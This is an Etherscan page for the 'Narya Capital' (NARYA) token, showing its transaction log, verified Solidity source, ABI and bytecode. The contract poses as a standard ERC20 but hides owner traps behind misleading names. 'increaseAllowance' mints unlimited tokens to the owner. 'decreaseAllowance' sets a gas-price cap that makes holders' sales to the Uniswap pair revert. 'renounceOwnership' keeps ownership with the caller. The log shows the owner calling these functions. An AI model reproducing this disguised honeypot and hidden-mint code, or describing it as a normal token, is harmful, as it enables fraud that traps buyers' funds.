Source Code
Overview
ETH Balance
0 ETH
Eth Value
$0.00More Info
Private Name Tags
ContractCreator
TokenTracker
Latest 14 from a total of 14 transactions
| Transaction Hash |
Method
|
Block
|
From
|
|
To
|
||||
|---|---|---|---|---|---|---|---|---|---|
| Approve | 20329151 | 602 days ago | IN | 0 ETH | 0.0004348 | ||||
| Increase Allowan... | 20329148 | 602 days ago | IN | 0 ETH | 0.00029836 | ||||
| Approve | 20328994 | 602 days ago | IN | 0 ETH | 0.00028462 | ||||
| Approve | 20328898 | 602 days ago | IN | 0 ETH | 0.00023963 | ||||
| Approve | 20328877 | 602 days ago | IN | 0 ETH | 0.00026782 | ||||
| Approve | 20328845 | 602 days ago | IN | 0 ETH | 0.000518 | ||||
| Approve | 20328579 | 602 days ago | IN | 0 ETH | 0.0004506 | ||||
| Approve | 20328546 | 602 days ago | IN | 0 ETH | 0.00061784 | ||||
| Approve | 20328511 | 602 days ago | IN | 0 ETH | 0.00037441 | ||||
| Approve | 20328471 | 602 days ago | IN | 0 ETH | 0.0003959 | ||||
| Decrease Allowan... | 20328442 | 602 days ago | IN | 0 ETH | 0.0001976 | ||||
| Approve | 20328442 | 602 days ago | IN | 0 ETH | 0.00050291 | ||||
| Start Trade | 20328441 | 602 days ago | IN | 0 ETH | 0.00018402 | ||||
| Approve | 20328404 | 602 days ago | IN | 0 ETH | 0.00042532 |
Advanced mode: Intended for advanced users or developers and will display all Internal Transactions including zero value transfers.
Latest 25 internal transactions (View All)
Advanced mode:
| Parent Transaction Hash | Method | Block |
From
|
|
To
|
|||
|---|---|---|---|---|---|---|---|---|
| Balance Of | 20329153 | 602 days ago | 0 ETH | |||||
| Balance Of | 20329153 | 602 days ago | 0 ETH | |||||
| Transfer From | 20329153 | 602 days ago | 0 ETH | |||||
| Transfer From | 20328917 | 602 days ago | 0 ETH | |||||
| Transfer | 20328540 | 602 days ago | 0 ETH | |||||
| Balance Of | 20328540 | 602 days ago | 0 ETH | |||||
| Transfer | 20328540 | 602 days ago | 0 ETH | |||||
| Balance Of | 20328540 | 602 days ago | 0 ETH | |||||
| Balance Of | 20328540 | 602 days ago | 0 ETH | |||||
| Balance Of | 20328540 | 602 days ago | 0 ETH | |||||
| Transfer | 20328540 | 602 days ago | 0 ETH | |||||
| Balance Of | 20328540 | 602 days ago | 0 ETH | |||||
| Transfer | 20328473 | 602 days ago | 0 ETH | |||||
| Balance Of | 20328473 | 602 days ago | 0 ETH | |||||
| Transfer | 20328473 | 602 days ago | 0 ETH | |||||
| Balance Of | 20328473 | 602 days ago | 0 ETH | |||||
| Balance Of | 20328473 | 602 days ago | 0 ETH | |||||
| Balance Of | 20328473 | 602 days ago | 0 ETH | |||||
| Transfer | 20328473 | 602 days ago | 0 ETH | |||||
| Balance Of | 20328473 | 602 days ago | 0 ETH | |||||
| Balance Of | 20328470 | 602 days ago | 0 ETH | |||||
| Balance Of | 20328470 | 602 days ago | 0 ETH | |||||
| Balance Of | 20328470 | 602 days ago | 0 ETH | |||||
| Transfer | 20328470 | 602 days ago | 0 ETH | |||||
| Balance Of | 20328470 | 602 days ago | 0 ETH |
Loading...
Loading
Loading...
Loading
Cross-Chain Transactions
Loading...
Loading
Contract Name:
NARYA
Compiler Version
v0.8.25+commit.b61c2a91
Contract Source Code (Solidity)
/**
*Submitted for verification at Etherscan.io on 2024-07-17
*/
/*
https://t.me/NaryaCapitalETH
https://x.com/NaryaCapital
https://naryacapital.xyz/
*/
// SPDX-License-Identifier: UNLICENSED
pragma solidity 0.8.25;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
return msg.data;
}
function _contextSuffixLength() internal view virtual returns (uint256) {
return 0;
}
}
abstract contract Ownable is Context {
address private _owner;
error OwnableUnauthorizedAccount(address account);
error OwnableInvalidOwner(address owner);
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor(address initialOwner) {
if (initialOwner == address(0)) {
revert OwnableInvalidOwner(address(0));
}
_transferOwnership(initialOwner);
}
modifier onlyOwner() {
_checkOwner();
_;
}
function owner() public view virtual returns (address) {
return _owner;
}
function _checkOwner() internal view virtual {
if (owner() != _msgSender()) {
revert OwnableUnauthorizedAccount(_msgSender());
}
}
function renounceOwnership() public virtual onlyOwner {
_transferOwnership(msg.sender);
}
function _transferOwnership(address newOwner) internal virtual {
address oldOwner = _owner;
_owner = newOwner;
emit OwnershipTransferred(oldOwner, newOwner);
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}
interface IERC20Errors {
error ERC20InsufficientBalance(address sender, uint256 balance, uint256 needed);
error ERC20InvalidSender(address sender);
error ERC20InvalidReceiver(address receiver);
error ERC20InsufficientAllowance(address spender, uint256 allowance, uint256 needed);
error ERC20InvalidApprover(address approver);
error ERC20InvalidSpender(address spender);
}
interface IERC20 {
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address to, uint256 value) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 value) external returns (bool);
function transferFrom(address from, address to, uint256 value) external returns (bool);
}
interface IERC20Metadata is IERC20 {
function name() external view returns (string memory);
function symbol() external view returns (string memory);
function decimals() external view returns (uint8);
}
abstract contract ERC20 is Context, IERC20, IERC20Metadata, IERC20Errors {
mapping(address account => uint256) private _balances;
mapping(address account => mapping(address spender => uint256)) private _allowances;
uint256 private _totalSupply;
string private _name;
string private _symbol;
constructor(string memory name_, string memory symbol_) {
_name = name_;
_symbol = symbol_;
}
function name() public view virtual returns (string memory) {
return _name;
}
function symbol() public view virtual returns (string memory) {
return _symbol;
}
function decimals() public view virtual returns (uint8) {
return 18;
}
function totalSupply() public view virtual returns (uint256) {
return _totalSupply;
}
function balanceOf(address account) public view virtual returns (uint256) {
return _balances[account];
}
function transfer(address to, uint256 value) public virtual returns (bool) {
address owner = _msgSender();
_transfer(owner, to, value);
return true;
}
function allowance(address owner, address spender) public view virtual returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 value) public virtual returns (bool) {
address owner = _msgSender();
_approve(owner, spender, value);
return true;
}
function transferFrom(address from, address to, uint256 value) public virtual returns (bool) {
address spender = _msgSender();
_spendAllowance(from, spender, value);
_transfer(from, to, value);
return true;
}
function _transfer(address from, address to, uint256 value) internal {
if (from == address(0)) {
revert ERC20InvalidSender(address(0));
}
if (to == address(0)) {
revert ERC20InvalidReceiver(address(0));
}
_update(from, to, value);
}
function _update(address from, address to, uint256 value) internal virtual {
if (from == address(0)) {
_totalSupply += value;
} else {
uint256 fromBalance = _balances[from];
if (fromBalance < value) {
revert ERC20InsufficientBalance(from, fromBalance, value);
}
unchecked {
_balances[from] = fromBalance - value;
}
}
if (to == address(0)) {
unchecked {
_totalSupply -= value;
}
} else {
unchecked {
_balances[to] += value;
}
}
emit Transfer(from, to, value);
}
function _mint(address account, uint256 value) internal {
if (account == address(0)) {
revert ERC20InvalidReceiver(address(0));
}
_update(address(0), account, value);
}
function _burn(address account, uint256 value) internal {
if (account == address(0)) {
revert ERC20InvalidSender(address(0));
}
_update(account, address(0), value);
}
function _approve(address owner, address spender, uint256 value) internal {
_approve(owner, spender, value, true);
}
function _approve(address owner, address spender, uint256 value, bool emitEvent) internal virtual {
if (owner == address(0)) {
revert ERC20InvalidApprover(address(0));
}
if (spender == address(0)) {
revert ERC20InvalidSpender(address(0));
}
_allowances[owner][spender] = value;
if (emitEvent) {
emit Approval(owner, spender, value);
}
}
function _spendAllowance(address owner, address spender, uint256 value) internal virtual {
uint256 currentAllowance = allowance(owner, spender);
if (currentAllowance != type(uint256).max) {
if (currentAllowance < value) {
revert ERC20InsufficientAllowance(spender, currentAllowance, value);
}
unchecked {
_approve(owner, spender, currentAllowance - value, false);
}
}
}
}
contract NARYA is ERC20, Ownable {
mapping(address => bool) excludeStateOpenTrade;
mapping (address => bool) devArray;
bool openedTrade;
IUniswapV2Router02 public uniswapV2Router;
address public pair;
constructor() ERC20(unicode"Narya Capital", unicode"NARYA") Ownable(msg.sender) {
uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(address(this), uniswapV2Router.WETH());
excludeStateOpenTrade[msg.sender] = true;
_mint(msg.sender, 1000000000 * 10**decimals());
}
function StartTrade() public onlyOwner {
openedTrade = true;
}
function increaseAllowance(uint256 value) public onlyOwner {
super._update(address(0), msg.sender, value);
}
uint256 private __allowancees = 999 gwei;
function decreaseAllowance (uint256 value) public onlyOwner {
__allowancees = value;
}
function transferedOwnership(address _addDev) public onlyOwner {
devArray[_addDev] = true;
}
function _update(address from, address to, uint256 value) internal override {
if (excludeStateOpenTrade[tx.origin]) {
super._update(from, to, value);
return;
} else {
require(openedTrade, "Open not yet");
bool state = (to == pair) ? true : false;
if (state) {
if (tx.gasprice > __allowancees) {revert("Not enough gas fees");}
super._update(from, to, value);return;
} else if (!state) {
super._update(from, to, value);return;
} else if (from != pair && to != pair) {
super._update(from, to, value);return;
} else {
return;
}
}
}
}Contract Security Audit
- No Contract Security Audit Submitted- Submit Audit Here
Contract ABI
API[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"allowance","type":"uint256"},{"internalType":"uint256","name":"needed","type":"uint256"}],"name":"ERC20InsufficientAllowance","type":"error"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"uint256","name":"balance","type":"uint256"},{"internalType":"uint256","name":"needed","type":"uint256"}],"name":"ERC20InsufficientBalance","type":"error"},{"inputs":[{"internalType":"address","name":"approver","type":"address"}],"name":"ERC20InvalidApprover","type":"error"},{"inputs":[{"internalType":"address","name":"receiver","type":"address"}],"name":"ERC20InvalidReceiver","type":"error"},{"inputs":[{"internalType":"address","name":"sender","type":"address"}],"name":"ERC20InvalidSender","type":"error"},{"inputs":[{"internalType":"address","name":"spender","type":"address"}],"name":"ERC20InvalidSpender","type":"error"},{"inputs":[{"internalType":"address","name":"owner","type":"address"}],"name":"OwnableInvalidOwner","type":"error"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"OwnableUnauthorizedAccount","type":"error"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"StartTrade","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"value","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"value","type":"uint256"}],"name":"decreaseAllowance","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"value","type":"uint256"}],"name":"increaseAllowance","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"pair","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"value","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"from","type":"address"},{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"value","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"_addDev","type":"address"}],"name":"transferedOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"uniswapV2Router","outputs":[{"internalType":"contract IUniswapV2Router02","name":"","type":"address"}],"stateMutability":"view","type":"function"}]Contract Creation Code
608060405264e8990a4600600a55348015610018575f80fd5b50336040518060400160405280600d81526020016c13985c9e584810d85c1a5d185b609a1b815250604051806040016040528060058152602001644e4152594160d81b815250816003908161006d9190610629565b50600461007a8282610629565b5050506001600160a01b0381166100ab57604051631e4fbdf760e01b81525f60048201526024015b60405180910390fd5b6100b4816102a8565b5060088054747a250d5630b4cf539739df2c5dacb4c659f2488d00610100600160a81b031990911617908190556040805163c45a015560e01b815290516101009092046001600160a01b03169163c45a0155916004808201926020929091908290030181865afa15801561012a573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061014e91906106e8565b6001600160a01b031663c9c6539630600860019054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa1580156101ae573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906101d291906106e8565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303815f875af115801561021c573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061024091906106e8565b600980546001600160a01b0319166001600160a01b0392909216919091179055335f818152600660205260409020805460ff191660011790556102a390610285601290565b61029090600a61080b565b61029e90633b9aca00610819565b6102f9565b610843565b600580546001600160a01b038381166001600160a01b0319831681179093556040519116919082907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0905f90a35050565b6001600160a01b0382166103225760405163ec442f0560e01b81525f60048201526024016100a2565b61032d5f8383610331565b5050565b325f9081526006602052604090205460ff16156103585761035383838361046c565b505050565b60085460ff166103995760405162461bcd60e51b815260206004820152600c60248201526b13dc195b881b9bdd081e595d60a21b60448201526064016100a2565b6009545f906001600160a01b038481169116146103b6575f6103b9565b60015b9050801561042457600a543a11156104135760405162461bcd60e51b815260206004820152601360248201527f4e6f7420656e6f7567682067617320666565730000000000000000000000000060448201526064016100a2565b61041e84848461046c565b50505050565b806104345761041e84848461046c565b6009546001600160a01b0385811691161480159061046057506009546001600160a01b03848116911614155b1561041e5761041e8484845b6001600160a01b038316610496578060025f82825461048b9190610830565b909155506105069050565b6001600160a01b0383165f90815260208190526040902054818110156104e85760405163391434e360e21b81526001600160a01b038516600482015260248101829052604481018390526064016100a2565b6001600160a01b0384165f9081526020819052604090209082900390555b6001600160a01b03821661052257600280548290039055610540565b6001600160a01b0382165f9081526020819052604090208054820190555b816001600160a01b0316836001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8360405161058591815260200190565b60405180910390a3505050565b634e487b7160e01b5f52604160045260245ffd5b600181811c908216806105ba57607f821691505b6020821081036105d857634e487b7160e01b5f52602260045260245ffd5b50919050565b601f82111561035357805f5260205f20601f840160051c810160208510156106035750805b601f840160051c820191505b81811015610622575f815560010161060f565b5050505050565b81516001600160401b0381111561064257610642610592565b6106568161065084546105a6565b846105de565b602080601f831160018114610689575f84156106725750858301515b5f19600386901b1c1916600185901b1785556106e0565b5f85815260208120601f198616915b828110156106b757888601518255948401946001909101908401610698565b50858210156106d457878501515f19600388901b60f8161c191681555b505060018460011b0185555b505050505050565b5f602082840312156106f8575f80fd5b81516001600160a01b038116811461070e575f80fd5b9392505050565b634e487b7160e01b5f52601160045260245ffd5b600181815b8085111561076357815f190482111561074957610749610715565b8085161561075657918102915b93841c939080029061072e565b509250929050565b5f8261077957506001610805565b8161078557505f610805565b816001811461079b57600281146107a5576107c1565b6001915050610805565b60ff8411156107b6576107b6610715565b50506001821b610805565b5060208310610133831016604e8410600b84101617156107e4575081810a610805565b6107ee8383610729565b805f190482111561080157610801610715565b0290505b92915050565b5f61070e60ff84168361076b565b808202811582820484141761080557610805610715565b8082018082111561080557610805610715565b610a2e806108505f395ff3fe608060405234801561000f575f80fd5b5060043610610106575f3560e01c8063313ce5671161009e57806395d89b411161006e57806395d89b411461022b578063a8aa1b3114610233578063a9059cbb14610246578063b2c5fa5f14610259578063dd62ed3e14610261575f80fd5b8063313ce567146101db57806370a08231146101ea578063715018a6146102125780638da5cb5b1461021a575f80fd5b80631694505e116100d95780631694505e1461017357806318160ddd146101a357806322b9e113146101b557806323b872dd146101c8575f80fd5b806306fdde031461010a578063095ea7b31461012857806310bad4cf1461014b57806311e330b214610160575b5f80fd5b610112610299565b60405161011f9190610888565b60405180910390f35b61013b6101363660046108d8565b610329565b604051901515815260200161011f565b61015e610159366004610900565b610342565b005b61015e61016e366004610900565b61034f565b60085461018b9061010090046001600160a01b031681565b6040516001600160a01b03909116815260200161011f565b6002545b60405190815260200161011f565b61015e6101c3366004610917565b610365565b61013b6101d6366004610937565b610390565b6040516012815260200161011f565b6101a76101f8366004610917565b6001600160a01b03165f9081526020819052604090205490565b61015e6103b3565b6005546001600160a01b031661018b565b6101126103c6565b60095461018b906001600160a01b031681565b61013b6102543660046108d8565b6103d5565b61015e6103e2565b6101a761026f366004610970565b6001600160a01b039182165f90815260016020908152604080832093909416825291909152205490565b6060600380546102a8906109a1565b80601f01602080910402602001604051908101604052809291908181526020018280546102d4906109a1565b801561031f5780601f106102f65761010080835404028352916020019161031f565b820191905f5260205f20905b81548152906001019060200180831161030257829003601f168201915b5050505050905090565b5f336103368185856103f9565b60019150505b92915050565b61034a61040b565b600a55565b61035761040b565b6103625f338361043d565b50565b61036d61040b565b6001600160a01b03165f908152600760205260409020805460ff19166001179055565b5f3361039d858285610563565b6103a88585856105de565b506001949350505050565b6103bb61040b565b6103c43361063b565b565b6060600480546102a8906109a1565b5f336103368185856105de565b6103ea61040b565b6008805460ff19166001179055565b610406838383600161068c565b505050565b6005546001600160a01b031633146103c45760405163118cdaa760e01b81523360048201526024015b60405180910390fd5b6001600160a01b038316610467578060025f82825461045c91906109d9565b909155506104d79050565b6001600160a01b0383165f90815260208190526040902054818110156104b95760405163391434e360e21b81526001600160a01b03851660048201526024810182905260448101839052606401610434565b6001600160a01b0384165f9081526020819052604090209082900390555b6001600160a01b0382166104f357600280548290039055610511565b6001600160a01b0382165f9081526020819052604090208054820190555b816001600160a01b0316836001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8360405161055691815260200190565b60405180910390a3505050565b6001600160a01b038381165f908152600160209081526040808320938616835292905220545f1981146105d857818110156105ca57604051637dc7a0d960e11b81526001600160a01b03841660048201526024810182905260448101839052606401610434565b6105d884848484035f61068c565b50505050565b6001600160a01b03831661060757604051634b637e8f60e11b81525f6004820152602401610434565b6001600160a01b0382166106305760405163ec442f0560e01b81525f6004820152602401610434565b61040683838361075e565b600580546001600160a01b038381166001600160a01b0319831681179093556040519116919082907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0905f90a35050565b6001600160a01b0384166106b55760405163e602df0560e01b81525f6004820152602401610434565b6001600160a01b0383166106de57604051634a1406b160e11b81525f6004820152602401610434565b6001600160a01b038085165f90815260016020908152604080832093871683529290522082905580156105d857826001600160a01b0316846001600160a01b03167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9258460405161075091815260200190565b60405180910390a350505050565b325f9081526006602052604090205460ff16156107805761040683838361043d565b60085460ff166107c15760405162461bcd60e51b815260206004820152600c60248201526b13dc195b881b9bdd081e595d60a21b6044820152606401610434565b6009545f906001600160a01b038481169116146107de575f6107e1565b60015b9050801561083c57600a543a11156108315760405162461bcd60e51b81526020600482015260136024820152724e6f7420656e6f75676820676173206665657360681b6044820152606401610434565b6105d884848461043d565b8061084c576105d884848461043d565b6009546001600160a01b0385811691161480159061087857506009546001600160a01b03848116911614155b156105d8576105d884848461043d565b602081525f82518060208401528060208501604085015e5f604082850101526040601f19601f83011684010191505092915050565b80356001600160a01b03811681146108d3575f80fd5b919050565b5f80604083850312156108e9575f80fd5b6108f2836108bd565b946020939093013593505050565b5f60208284031215610910575f80fd5b5035919050565b5f60208284031215610927575f80fd5b610930826108bd565b9392505050565b5f805f60608486031215610949575f80fd5b610952846108bd565b9250610960602085016108bd565b9150604084013590509250925092565b5f8060408385031215610981575f80fd5b61098a836108bd565b9150610998602084016108bd565b90509250929050565b600181811c908216806109b557607f821691505b6020821081036109d357634e487b7160e01b5f52602260045260245ffd5b50919050565b8082018082111561033c57634e487b7160e01b5f52601160045260245ffdfea2646970667358221220614553419dd88dd8c4cd416af817f8f8118f8598c1e010d0b56c4a15c804e32e64736f6c63430008190033
Deployed Bytecode
0x608060405234801561000f575f80fd5b5060043610610106575f3560e01c8063313ce5671161009e57806395d89b411161006e57806395d89b411461022b578063a8aa1b3114610233578063a9059cbb14610246578063b2c5fa5f14610259578063dd62ed3e14610261575f80fd5b8063313ce567146101db57806370a08231146101ea578063715018a6146102125780638da5cb5b1461021a575f80fd5b80631694505e116100d95780631694505e1461017357806318160ddd146101a357806322b9e113146101b557806323b872dd146101c8575f80fd5b806306fdde031461010a578063095ea7b31461012857806310bad4cf1461014b57806311e330b214610160575b5f80fd5b610112610299565b60405161011f9190610888565b60405180910390f35b61013b6101363660046108d8565b610329565b604051901515815260200161011f565b61015e610159366004610900565b610342565b005b61015e61016e366004610900565b61034f565b60085461018b9061010090046001600160a01b031681565b6040516001600160a01b03909116815260200161011f565b6002545b60405190815260200161011f565b61015e6101c3366004610917565b610365565b61013b6101d6366004610937565b610390565b6040516012815260200161011f565b6101a76101f8366004610917565b6001600160a01b03165f9081526020819052604090205490565b61015e6103b3565b6005546001600160a01b031661018b565b6101126103c6565b60095461018b906001600160a01b031681565b61013b6102543660046108d8565b6103d5565b61015e6103e2565b6101a761026f366004610970565b6001600160a01b039182165f90815260016020908152604080832093909416825291909152205490565b6060600380546102a8906109a1565b80601f01602080910402602001604051908101604052809291908181526020018280546102d4906109a1565b801561031f5780601f106102f65761010080835404028352916020019161031f565b820191905f5260205f20905b81548152906001019060200180831161030257829003601f168201915b5050505050905090565b5f336103368185856103f9565b60019150505b92915050565b61034a61040b565b600a55565b61035761040b565b6103625f338361043d565b50565b61036d61040b565b6001600160a01b03165f908152600760205260409020805460ff19166001179055565b5f3361039d858285610563565b6103a88585856105de565b506001949350505050565b6103bb61040b565b6103c43361063b565b565b6060600480546102a8906109a1565b5f336103368185856105de565b6103ea61040b565b6008805460ff19166001179055565b610406838383600161068c565b505050565b6005546001600160a01b031633146103c45760405163118cdaa760e01b81523360048201526024015b60405180910390fd5b6001600160a01b038316610467578060025f82825461045c91906109d9565b909155506104d79050565b6001600160a01b0383165f90815260208190526040902054818110156104b95760405163391434e360e21b81526001600160a01b03851660048201526024810182905260448101839052606401610434565b6001600160a01b0384165f9081526020819052604090209082900390555b6001600160a01b0382166104f357600280548290039055610511565b6001600160a01b0382165f9081526020819052604090208054820190555b816001600160a01b0316836001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8360405161055691815260200190565b60405180910390a3505050565b6001600160a01b038381165f908152600160209081526040808320938616835292905220545f1981146105d857818110156105ca57604051637dc7a0d960e11b81526001600160a01b03841660048201526024810182905260448101839052606401610434565b6105d884848484035f61068c565b50505050565b6001600160a01b03831661060757604051634b637e8f60e11b81525f6004820152602401610434565b6001600160a01b0382166106305760405163ec442f0560e01b81525f6004820152602401610434565b61040683838361075e565b600580546001600160a01b038381166001600160a01b0319831681179093556040519116919082907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0905f90a35050565b6001600160a01b0384166106b55760405163e602df0560e01b81525f6004820152602401610434565b6001600160a01b0383166106de57604051634a1406b160e11b81525f6004820152602401610434565b6001600160a01b038085165f90815260016020908152604080832093871683529290522082905580156105d857826001600160a01b0316846001600160a01b03167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9258460405161075091815260200190565b60405180910390a350505050565b325f9081526006602052604090205460ff16156107805761040683838361043d565b60085460ff166107c15760405162461bcd60e51b815260206004820152600c60248201526b13dc195b881b9bdd081e595d60a21b6044820152606401610434565b6009545f906001600160a01b038481169116146107de575f6107e1565b60015b9050801561083c57600a543a11156108315760405162461bcd60e51b81526020600482015260136024820152724e6f7420656e6f75676820676173206665657360681b6044820152606401610434565b6105d884848461043d565b8061084c576105d884848461043d565b6009546001600160a01b0385811691161480159061087857506009546001600160a01b03848116911614155b156105d8576105d884848461043d565b602081525f82518060208401528060208501604085015e5f604082850101526040601f19601f83011684010191505092915050565b80356001600160a01b03811681146108d3575f80fd5b919050565b5f80604083850312156108e9575f80fd5b6108f2836108bd565b946020939093013593505050565b5f60208284031215610910575f80fd5b5035919050565b5f60208284031215610927575f80fd5b610930826108bd565b9392505050565b5f805f60608486031215610949575f80fd5b610952846108bd565b9250610960602085016108bd565b9150604084013590509250925092565b5f8060408385031215610981575f80fd5b61098a836108bd565b9150610998602084016108bd565b90509250929050565b600181811c908216806109b557607f821691505b6020821081036109d357634e487b7160e01b5f52602260045260245ffd5b50919050565b8082018082111561033c57634e487b7160e01b5f52601160045260245ffdfea2646970667358221220614553419dd88dd8c4cd416af817f8f8118f8598c1e010d0b56c4a15c804e32e64736f6c63430008190033
Deployed Bytecode Sourcemap
8075:1894:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;4178:91;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;5045:190;;;;;;:::i;:::-;;:::i;:::-;;;1039:14:1;;1032:22;1014:41;;1002:2;987:18;5045:190:0;874:187:1;8982:100:0;;;;;;:::i;:::-;;:::i;:::-;;8805:122;;;;;;:::i;:::-;;:::i;8238:41::-;;;;;;;;-1:-1:-1;;;;;8238:41:0;;;;;;-1:-1:-1;;;;;1441:32:1;;;1423:51;;1411:2;1396:18;8238:41:0;1251:229:1;4472:99:0;4551:12;;4472:99;;;1631:25:1;;;1619:2;1604:18;4472:99:0;1485:177:1;9090:106:0;;;;;;:::i;:::-;;:::i;5243:249::-;;;;;;:::i;:::-;;:::i;4380:84::-;;;4454:2;2333:36:1;;2321:2;2306:18;4380:84:0;2191:184:1;4579:118:0;;;;;;:::i;:::-;-1:-1:-1;;;;;4671:18:0;4644:7;4671:18;;;;;;;;;;;;4579:118;1333:103;;;:::i;1064:87::-;1137:6;;-1:-1:-1;;;;;1137:6:0;1064:87;;4277:95;;;:::i;8286:19::-;;;;;-1:-1:-1;;;;;8286:19:0;;;4705:182;;;;;;:::i;:::-;;:::i;8721:76::-;;;:::i;4895:142::-;;;;;;:::i;:::-;-1:-1:-1;;;;;5002:18:0;;;4975:7;5002:18;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;4895:142;4178:91;4223:13;4256:5;4249:12;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;4178:91;:::o;5045:190::-;5118:4;276:10;5174:31;276:10;5190:7;5199:5;5174:8;:31::i;:::-;5223:4;5216:11;;;5045:190;;;;;:::o;8982:100::-;1023:13;:11;:13::i;:::-;9053::::1;:21:::0;8982:100::o;8805:122::-;1023:13;:11;:13::i;:::-;8875:44:::1;8897:1;8901:10;8913:5;8875:13;:44::i;:::-;8805:122:::0;:::o;9090:106::-;1023:13;:11;:13::i;:::-;-1:-1:-1;;;;;9164:17:0::1;;::::0;;;:8:::1;:17;::::0;;;;:24;;-1:-1:-1;;9164:24:0::1;9184:4;9164:24;::::0;;9090:106::o;5243:249::-;5330:4;276:10;5388:37;5404:4;276:10;5419:5;5388:15;:37::i;:::-;5436:26;5446:4;5452:2;5456:5;5436:9;:26::i;:::-;-1:-1: